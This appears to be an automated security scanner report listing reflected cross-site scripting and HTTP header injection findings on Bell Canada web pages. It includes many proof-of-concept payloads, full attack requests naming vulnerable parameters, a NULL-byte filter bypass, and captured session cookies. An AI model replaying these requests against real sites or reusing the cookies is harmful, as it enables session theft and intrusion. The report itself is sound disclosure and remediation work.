The value of the path_requested request parameter is copied into the location response header. The payload 63958%0d%0a5bba625b1e2 was submitted in the path_requested parameter. This caused a response containing an injected HTTP header.
Issue background
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d76b"><script>alert(1)</script>d34e25e0152 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db0b7"><script>alert(1)</script>22c8029c4d8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a129"><script>alert(1)</script>1045a7bd2bf was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
<!-- Character Set Encodi ...[SNIP]... t type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/Images/flash/sifr.swf8a129"><script>alert(1)</script>1045a7bd2bf" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fc66"><script>alert(1)</script>eb765000cc9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84ed5"><script>alert(1)</script>9f8cf566546 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
<!-- Character Set Encodi ...[SNIP]... e="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm84ed5"><script>alert(1)</script>9f8cf566546?method=sso.init&content=minidashboard" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19ca9"><script>alert(1)</script>1f5bfd01185 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d01f9"><script>alert(1)</script>ea5c675b356 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
<!-- Character Set Encodi ...[SNIP]... t type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_gallery/90_en.gifd01f9"><script>alert(1)</script>ea5c675b356" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac153"><script>alert(1)</script>31e8cdd27f4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
<!-- Character Set Encodi ...[SNIP]... internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/index.cfmac153"><script>alert(1)</script>31e8cdd27f4?method=sso.init&content=minidashboard" /> ...[SNIP]...
The value of the 83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fcea0"><script>alert(1)</script>c5fbd15a32 was submitted in the 83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70c1e"><script>alert(1)</script>5bc75cbbd46 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /index.cfm70c1e"><script>alert(1)</script>5bc75cbbd46 HTTP/1.1 Host: internet.bell.ca Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the method request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 487af"><script>alert(1)</script>044202616da was submitted in the method parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
<meta name="description" con ...[SNIP]... <input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=487af"><script>alert(1)</script>044202616da" /> ...[SNIP]...
2.12. http://internet.bell.ca/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://internet.bell.ca
Path:
/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83853"><script>alert(1)</script>8d68ea21d78 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.cfm?83853"><script>alert(1)</script>8d68ea21d78=1 HTTP/1.1 Host: internet.bell.ca Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the path_requested request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21135"><script>alert(1)</script>09c266a2042 was submitted in the path_requested parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
<!-- Character Set Encodi ...[SNIP]... ndex.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif21135"><script>alert(1)</script>09c266a2042" /> ...[SNIP]...
The value of the path_requested request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 874f9"><script>alert(1)</script>70a5d98c82 was submitted in the path_requested parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
<!-- Character Set Encodi ...[SNIP]... ndex.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif874f9"><script>alert(1)</script>70a5d98c82" /> ...[SNIP]...
2.15. http://www.bell.ca/accessibilityservices [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bell.ca
Path:
/accessibilityservices
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 83438'-alert(1)-'f71378ccadd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /accessibilityservices?83438'-alert(1)-'f71378ccadd=1 HTTP/1.1 Host: www.bell.ca Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; gemini=region=ON|province=ON|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; fsr.a=1290477168091; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Tue, 23 Nov 2010 01:56:25 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON TAIa OUR NOR UNI PRE LOC" WS: DCOC6T Content-Type: text/html; charset=UTF-8 X-Powered-By: Servlet/2.5 JSP/2.1 Content-Length: 20676
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- GPN: QC_DC3CAV_4 -->
<!-- ABValue: true -->
<html x ...[SNIP]... gion) { location.href = 'http://www.bell.ca/accessibilityservices/PrsSN_Landing.page?regionToggle=true&languageToggle=true&content=/resources/templates/PrsSN_GNL_3_C.jsp&metaKey=PrsSN_Landing&83438'-alert(1)-'f71378ccadd=1®ion=' + region + '&language=en'; }
//Function for external popups function gotoSite(thisUrl, thisWidth,thisHeight,thisTop,thisLeft) {
The value of the customLabel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6ca04"%20style%3dx%3aexpression(alert(1))%204956a85d6f6 was submitted in the customLabel parameter. This input was echoed as 6ca04" style=x:expression(alert(1)) 4956a85d6f6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /home/Home_L_Login.page?language=en&languageToggle=true&customLabel=mobile.changerateplan6ca04"%20style%3dx%3aexpression(alert(1))%204956a85d6f6&refreshLink=https%3A//www.bell.ca/mybell/ociseclvl3_PrsMyAccts_MobilitySvcEq.page%3FDirectAccess%3DchangeRatePlan HTTP/1.1 Host: www.bell.ca Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; gemini=region=ON|province=ON|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; fsr.a=1290477168091; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499;
The value of the refreshLink request parameter is copied into an HTML comment. The payload e3c14-->e6e7c8b680 was submitted in the refreshLink parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /home/Home_L_login.page?ADV=login&refreshLink=https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_MobilitySvcEq.page?DirectAccess=upgradePhonee3c14-->e6e7c8b680 HTTP/1.1 Host: www.bell.ca Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; gemini=region=ON|province=ON|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; fsr.a=1290477168091; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Tue, 23 Nov 2010 01:56:58 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON TAIa OUR NOR UNI PRE LOC" WS: DCOC6T Content-Type: text/html; charset=UTF-8 X-Powered-By: Servlet/2.5 JSP/2.1 Content-Length: 75554
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <!-- GPN: QC_DC3CAV_4 -->
The value of the refreshLink request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10b2e"%20style%3dx%3aexpression(alert(1))%203c61a76fde9 was submitted in the refreshLink parameter. This input was echoed as 10b2e" style=x:expression(alert(1)) 3c61a76fde9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /home/Home_L_login.page?ADV=login&refreshLink=https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_MobilitySvcEq.page?DirectAccess=upgradePhone10b2e"%20style%3dx%3aexpression(alert(1))%203c61a76fde9 HTTP/1.1 Host: www.bell.ca Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; gemini=region=ON|province=ON|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; fsr.a=1290477168091; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Tue, 23 Nov 2010 01:56:58 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON TAIa OUR NOR UNI PRE LOC" WS: DCOC6T Content-Type: text/html; charset=UTF-8 X-Powered-By: Servlet/2.5 JSP/2.1 Content-Length: 76968
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <!-- GPN: QC_DC3CAV_4 -->
The value of the uid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5454f"%3balert(1)//92c5914b221 was submitted in the uid parameter. This input was echoed as 5454f";alert(1)//92c5914b221 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the faq request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d3cb"><script>alert(1)</script>14d6ef2123c was submitted in the faq parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the lob request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14a5e"><script>alert(1)</script>8f2481788e5 was submitted in the lob parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the question_box request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f769"><script>alert(1)</script>0a57a5b6c98 was submitted in the question_box parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the question_box request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6ad3a"%3balert(1)//78f72d529c16cda34 was submitted in the question_box parameter. This input was echoed as 6ad3a";alert(1)//78f72d529c16cda34 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of the question_box request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d865d"%3balert(1)//59c45392948fd2def was submitted in the question_box parameter. This input was echoed as d865d";alert(1)//59c45392948fd2def in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the support request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 850ce"><script>alert(1)</script>da004210564 was submitted in the support parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the batchId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fb9a7'-alert(1)-'ea63f6bff69 was submitted in the batchId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the c0-id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a5c17'-alert(1)-'5c576ebe924 was submitted in the c0-id parameter. This input was echoed unmodified in the application's response.
